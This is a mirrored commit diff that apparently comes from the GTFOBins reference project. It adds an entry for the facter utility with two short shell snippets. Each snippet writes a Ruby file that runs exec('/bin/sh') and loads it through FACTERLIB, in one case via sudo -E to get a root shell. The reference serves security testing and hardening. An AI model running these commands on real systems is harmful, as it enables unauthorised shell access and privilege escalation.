mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
13
_gtfobins/facter.md
Normal file
13
_gtfobins/facter.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
||||||
|
FACTERLIB=$TF facter
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
||||||
|
FACTERLIB=$TF sudo -E facter
|
||||||
|
---
|
Reference in New Issue
Block a user